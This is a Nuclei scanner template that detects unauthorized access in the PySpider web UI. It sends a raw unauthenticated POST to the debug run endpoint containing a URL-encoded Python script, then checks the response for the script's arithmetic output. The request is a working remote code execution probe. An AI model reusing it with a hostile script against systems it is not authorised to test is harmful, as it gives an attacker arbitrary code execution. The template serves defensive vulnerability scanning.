id: pyspider-unauthorized-access

info:
  name: Pyspider Unauthorized Access
  author: ritikchaddha
  severity: high
  description: Unauthorized Access exists in PySpider which is an open-source web crawling and web scraping framework written in Python.
  reference:
    - https://github.com/ianxtianxt/Pyspider-webui-poc
  metadata:
    max-request: 1
  tags: pyspider,unauth

http:
  - raw:
      - |
        POST /debug/pyspidervulntest/run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str(452345672+%2B+567890765))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1020236437"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fec6b026a8f73dded5967dace3212b7eb402e1a5657977b0b25cc84332b67ffd022100f11318ec4e2b87153d24235b8aeba2e530750c2e71100f34c3ae2b3f71fc97dd:922c64590222798bb761d5b6d8e72950